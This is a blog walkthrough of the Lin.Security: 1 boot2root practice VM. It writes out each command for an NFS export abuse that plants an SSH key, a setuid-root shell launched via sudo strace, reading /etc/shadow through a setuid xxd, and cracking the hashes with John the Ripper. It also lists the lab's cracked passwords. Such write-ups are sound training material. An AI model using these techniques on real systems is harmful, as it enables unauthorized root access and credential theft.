This post documents the complete walkthrough of Lin.Security: 1, a boot2root VM created by in.security, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Here at in.security we wanted to develop a Linux virtual machine that is based, at the time of writing, on an up-to-date Ubuntu distro (18.04 LTS), but suffers from a number of vulnerabilities that allow a user to escalate to root
on the box. This has been designed to help understand how certain built-in applications and services if misconfigured, may be abused by an attacker.
We have configured the box to simulate real-world vulnerabilities (albeit on a single host) which will help you to perfect your local privilege escalation skills, techniques and toolsets. There are a number of challenges which range from fairly easy to intermediate level, and we’re excited to see the methods you used to solve them!
Information Gathering
Let’s start with a nmap
scan to establish the available services in the host.
# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.129
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7a:9b:b9:32:6f:95:77:10:c0:a0:80:35:34:b1:c0:00 (RSA)
| 256 24:0c:7a:82:78:18:2d:66:46:3b:1a:36:22:06:e1:a1 (ECDSA)
|_ 256 b9:15:59:78:85:78:9e:a5:e6:16:f6:cf:96:2d:1d:36 (ED25519)
111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 3 2049/udp nfs
| 100003 3,4 2049/tcp nfs
| 100005 1,2,3 41225/tcp mountd
| 100005 1,2,3 44576/udp mountd
| 100021 1,3,4 38947/tcp nlockmgr
| 100021 1,3,4 59622/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/udp nfs_acl
2049/tcp open nfs_acl syn-ack ttl 64 3 (RPC #100227)
38947/tcp open nlockmgr syn-ack ttl 64 1-4 (RPC #100021)
41225/tcp open mountd syn-ack ttl 64 1-3 (RPC #100005)
41683/tcp open mountd syn-ack ttl 64 1-3 (RPC #100005)
51813/tcp open mountd syn-ack ttl 64 1-3 (RPC #100005)
nmap
finds 22/tcp
and 111/tcp
open. I don’t see the usual 80/tcp
, which is unfortunate. We have to rely on other means to gain a foothold into the VM.
Network File System
Good thing for us, NFS is available. Using showmount
, we can display the exports on the VM.
# showmount -e 192.168.30.129
Export list for 192.168.30.129:
/home/peter *
Let’s mount the remote directory.
# mkdir -p /mnt/peter
# mount -t nfs 192.168.30.129:/home/peter /mnt/peter
# ls -la /mnt/peter
total 32
drwxr-xr-x 5 1001 1005 4096 Jul 10 19:49 .
drwxr-xr-x 4 root root 4096 Aug 18 11:11 ..
-rw-r--r-- 1 1001 1005 220 Jul 9 19:53 .bash_logout
-rw-r--r-- 1 1001 1005 3771 Jul 9 19:53 .bashrc
drwx------ 2 1001 1005 4096 Jul 10 10:04 .cache
-rw-rw-r-- 1 1001 1005 0 Jul 10 10:04 .cloud-locale-test.skip
drwx------ 3 1001 1005 4096 Jul 10 10:04 .gnupg
drwxrwxr-x 3 1001 1005 4096 Jul 10 08:03 .local
-rw-r--r-- 1 1001 1005 807 Jul 9 19:53 .profile
Now that I’ve mapped /home/peter
to /mnt/peter
, let’s see if I create .ssh
directory in /home/peter
.
# mkdir -p /mnt/peter/.ssh
mkdir: cannot create directory ‘/mnt/peter/.ssh’: Permission denied
Hmm. Not even when I’m root
? Let’s create a fake peter
account with an UID of 1001
on my machine.
# useradd -u 1001 peter
# su peter
$ cd /mnt/peter
$ mkdir .ssh
Awesome. Now, I can put the SSH public key I control into /home/peter/.ssh/authorized_keys
.
First, we generate the SSH Key pair on my machine.
# ssh-keygen -t rsa -b 2048
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): peter
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in peter.
Your public key has been saved in peter.pub.
The key fingerprint is:
SHA256:TuGkIRfE6ODlItT4jp9ILW/8oGRTEa7JLCDI5dgKnMs [email protected]
The key's randomart image is:
+---[RSA 2048]----+
| oo +o |
|+oO.+ .. |
|**.X. o o |
|O B.+o = . |
|.E+o . S |
|.+.o o |
|.+*.. . |
|o.o*. |
| .. .. |
+----[SHA256]-----+
Next, we copy and paste the contents of peter.pub
to /mnt/peter/.ssh/authorized_keys
.
$ echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1rYFvo6Wh4j44p4s6WfDYb637m62zA0CwE5t9K6iKbosZMpeDBGP2q8C2O3yw2P9Dhv3jRPCutf1ruadaMxxiOY8Ook/3fwMcaueCAs0ThKCMRlnf0yzUnEHH7t82MrEghMnL4GfUcYlxIwo8d5jQe7umuJneYK786iDNEPaEajC45GQlrZWCzIWqs3B3vJBQ4FR766EHsmiKVWvQ35uR69/O39IePJQ8oSTF+PK0RoCtvmYt44jeqUO0NfYGeCGwqtYW/i+ILTOkW45bYRVjhmrJ2C+yjtK3bsmDiq28IT9STCFlkI7OqEfJkeYqBSJVqVqOkFFvx4+7fyTpchT/ > /mnt/peter/.ssh/authorized_keys
Open another terminal
and log in to peter
’s account with the SSH private key.
Privilege Escalation
During enumeration of peter
’s account, I found something interesting.
peter
is able to sudo
as root
for /usr/bin/strace
, used for tracing system calls and signals.
Holy cow. This means that I can do something like this—write a privilege escalation program and run it through strace
with the blessing of sudo
—all without password.
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
Let’s give it a shot.
Afterthought
There’s more than one way of becoming root
. The most obvious way is to log in with bob:secret
as suggested in the VM’s description.
Display /etc/passwd
. Observe insecurity
has its password hash in it and has root
privileges
We can copy that line and send it to John the Ripper for offline cracking like this.
# john --format=crypt --show hash.txt
insecurity:[email protected]:0:0::/:/bin/sh
1 password hash cracked, 0 left
Another way is to discover susan
’s password in her home directory either through bob
’s account or peter
’s account described above.
You’ll soon notice that susan
is using rbash
or restricted bash
. It’s almost trivial to escape from rbash
—execute bash -i
.
Now that we have escaped the restricted shell, something caught my eye while I was performing enumeration on susan
’s account.
xxd
can display the hexdump or convert to hexadecimal representation (through -p
) of any file it has read permissions. Since xxd
is setuid
to root
, we can use it to read /etc/shadow
like so.
We can copy both /etc/passwd
and /etc/shadow
to our attacking machine for offline cracking with John the Ripper, in which case the root
password is secret123
.
# john --format=crypt --show hashes.txt
root:secret123:0:0:root:/root:/bin/bash
bob:secret:1000:1004:bob:/home/bob:/bin/bash
insecurity:[email protected]:0:0::/:/bin/sh
3 password hashes cracked, 2 left
I’m sure this is not exhaustive. Kudos to in.security for creating this VM. No better way to learn than hands-on practice.